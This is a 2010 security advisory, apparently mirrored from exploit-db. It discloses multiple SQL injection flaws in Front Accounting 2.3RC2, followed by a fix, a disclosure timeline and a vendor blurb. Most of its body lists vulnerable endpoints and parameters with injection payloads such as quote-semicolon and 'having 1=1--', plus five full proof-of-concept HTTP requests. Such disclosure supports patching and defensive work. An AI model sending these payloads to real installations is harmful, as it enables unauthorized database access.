Front Accounting 2.3RC2 – Multiple SQL Injections

  • 作者: Juan Manuel Garcia
    日期: 2010-11-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15565/
  • Advisory Name: Multiple SQL Injections in Front Accounting
    Internal Cybsec Advisory Id: 2010-1003-Multiple SQL Injections in Front Accounting
    
    Vulnerability Class: SQL Injection
    
    Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.
    
    Affected Platforms: Any running Front Accounting v2.3RC2
    
    Local / Remote: Remote
    
    Severity: High - CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
    
    Researcher: Juan Manuel Garcia
    
    Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
    
    Vulnerability Description:
    
    Multiple vulnerabilities has been discovered in Front Accounting, which can be exploited by attackers
    
    to conduct SQL injection attacks.
    
    At least the following parameters are not properly sanitized:
    
    http://xxx.xxx.xxx.xxx/admin/fiscalyears.php
    
    The attacker can set parameter 'from_date's value to '01%2F01%2F2008%27%3B'
    
    http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php
    
    The attacker can set parameter 'ref's value to '1234%27%3B'
    
    The attacker can set parameter 'trans_no's value to '31%20having%201=1--'
    
    http://xxx.xxx.xxx.xxx/dimensions/view/view_dimension.php
    
    The attacker can set parameter 'trans_no's value to '3';'
    
    http://xxx.xxx.xxx.xxx/gl/bank_account_reconcile.php
    
    The attacker can set parameter 'reconcile_date's value to '1234%27%3B'
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/balance_sheet.php
    
    The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/bank_inquiry.php
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/gl_account_inquiry.php
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/gl_trial_balance.php
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/profit_loss.php
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/tax_inquiry.php
    
    The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
    
    The attacker can set parameter 'TransToDate's value to '1234%27%3B'
    
    http://xxx.xxx.xxx.xxx/gl/inquiry/journal_inquiry.php
    
    The attacker can set parameter 'FromDate's value to '1234%27%3B'
    
    The attacker can set parameter 'Memo's value to '1234%27%3B'
    
    The attacker can set parameter 'Ref's value to '1234%27%3B'
    
    The attacker can set parameter 'ToDate's value to '1234%27%3B'
    
    http://xxx.xxx.xxx.xxx/inventory/inquiry/stock_movements.php
    
    The attacker can set parameter 'AfterDate's value to '1234%27%3B'
    
    The attacker can set parameter 'BeforeDate's value to '1234%27%3B'
    
    http://xxx.xxx.xxx.xxx/manufacturing/work_order_add_finished.php
    
    The attacker can set parameter 'ref's value to '1234%27%3B'
    
    The attacker can set parameter 'selected_id's value to '181+having+1%3D1--'
    
    The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
    
    http://xxx.xxx.xxx.xxx/manufacturing/work_order_issue.php
    
    The attacker can set parameter 'IssueType's value to '1%29+having+1%3D1--'
    
    The attacker can set parameter 'Location's value to 'SH%27%3B'
    
    The attacker can set parameter 'WorkCentre's value to '1%27%3B'
    
    The attacker can set parameter '_focus's value to '_stock_id_edit%27%3B'
    
    The attacker can set parameter '_stock_id_edit's value to '%27%3B'
    
    The attacker can set parameter '_stock_id_update's value to '+%27%3B'
    
    The attacker can set parameter 'date_'s value to '1234%27%3B'
    
    The attacker can set parameter 'memo_'s value to '1234%27%3B'
    
    The attacker can set parameter 'qty's value to '1234%27%3B'
    
    The attacker can set parameter 'ref's value to '1234%27%3B'
    
    The attacker can set parameter 'std_cost's value to '1234%27+having+1%3D1--'
    
    The attacker can set parameter 'stock_id's value to 'Business1%27%3B'
    
    The attacker can set parameter 'trans_no's value to '181%20having%201=1--'
    
    http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php
    
    The attacker can set parameter 'PONumber's value to '351%20having%201=1--'
    
    http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php
    
    The attacker can set parameter 'invoice_no's value to '21';'
    
    The attacker can set parameter 'receive_begin's value to '1234%27%3B'
    
    The attacker can set parameter 'receive_end's value to '1234%27+having+1%3D1--'
    
    http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php
    
    The attacker can set parameter 'PARAM_1's value to '361%20having%201=1--'
    
    http://xxx.xxx.xxx.xxx/sales/customer_credit_invoice.php
    
    The attacker can set parameter 'InvoiceNumber's value to '106';'
    
    Other parameters might also be affected.
    
    Some Proof of Concepts:
    
    * http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php?trans_no=
    
    PoC:
    
    GET /dimensions/dimension_entry.php?trans_no=31%20having%201=1-- HTTP/1.0
    
    Cookie: FA4649d6f070639b67129c222b2094650d=cbe43b3ad36c2622030f8b1093144916
    
    Accept: */*
    
    Accept-Language: en-US
    
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    
    Host: xxx.xxx.xxx.xxx
    
    Referer: http://xxx.xxx.xxx.xxx/dimensions/inquiry/search_dimensions.php
    
    * http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=
    
    PoC:
    
    GET /purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=11%20having%201=1--
    
    HTTP/1.0
    
    Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
    
    Accept: */*
    
    Accept-Language: en-US
    
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    
    Host: xxx.xxx.xxx.xxx
    
    Referer: http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocation_main.php
    
    * http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php?PONumber=
    
    PoC:
    
    GET /purchasing/po_receive_items.php?PONumber=351%20having%201=1-- HTTP/1.0
    
    Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
    
    Accept: */*
    
    Accept-Language: en-US
    
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    
    Host: xxx.xxx.xxx.xxx
    
    Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/po_search.php
    
    * http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php?New=1&invoice_no=
    
    PoC:
    
    GET /purchasing/supplier_credit.php?New=1&invoice_no=21'; HTTP/1.0
    
    Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
    
    Accept: */*
    
    Accept-Language: en-US
    
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    
    Host: xxx.xxx.xxx.xxx
    
    Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/supplier_inquiry.php
    
    * http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php?PARAM_0=36&PARAM_1=3
    
    PoC:
    
    GET /reporting/prn_redirect.php?PARAM_0=36&PARAM_1=361%20having%201=1--
    
    &PARAM_2=&PARAM_3=0&PARAM_4=&REP_ID=111 HTTP/1.0
    
    Cookie: FA4649d6f070639b67129c222b2094650d=a3101d91a3ae6ede3e0ab57f90c03b79
    
    Accept: */*
    
    Accept-Language: en-US
    
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    
    Host: xxx.xxx.xxx.xxx
    
    Referer: http://xxx.xxx.xxx.xxx/sales/inquiry/sales_orders_view.php?type=32
    
    Impact:
    
    An attacker can execute arbitrary SQL queries that would allow him to gain unauthorized access to the
    
    database, application or server.
    
    Solution:
    
    Upgrade to FrontAccounting v2.3RC3
    
    Vendor Response:
    
    2010-10-12 - Vulnerability was identified
    
    2010-10-13 - Vendor contacted
    
    10/16/2010 Vendor confirmed vulnerability
    
    10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3
    
    10/29/2010 Vulnerability was released
    
    Contact Information:
    
    For more information regarding the vulnerability feel free to contact the researcher at
    
    jmgarcia <at> cybsec <dot> com
    
    About CYBSEC S.A. Security Systems
    
    Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
    
    Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
    
    proof of their professional life.
    
    To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
    
    software and/or hardware provider companies.
    
    Our services are strictly focused on Information Security, protecting our clients from emerging security
    
    threats, maintaining their IT deployments available, safe, and reliable.
    
    Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
    
    and contributing with the security community with high quality information exchange.
    
    For more information, please visit www.cybsec.com
    
    (c) 2010 - CYBSEC S.A. Security Systems